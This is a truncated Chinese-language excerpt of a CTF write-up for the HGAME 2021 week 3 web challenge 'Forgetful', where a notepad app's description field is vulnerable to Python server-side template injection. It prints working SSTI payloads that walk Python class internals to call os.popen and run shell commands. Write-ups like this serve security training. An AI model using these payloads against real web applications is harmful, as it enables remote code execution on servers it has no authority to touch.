内容简介：

 
作者：wh1sper@星盟
Level – Week3

Forgetful
考点：简单python-SSTI

题目是一个记事本，添加描述的时候存在SSTI，在查看页面可以看到SSTI已经成功了：

最为常规的payload：
{{[].__class__.__mro__[1].__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()[167].__init__.__globals__.__builtins__.__import__('os').popen('ls /').read()}}
{{[].__class_...

查看原文

? HGAME 2021 week3-web wp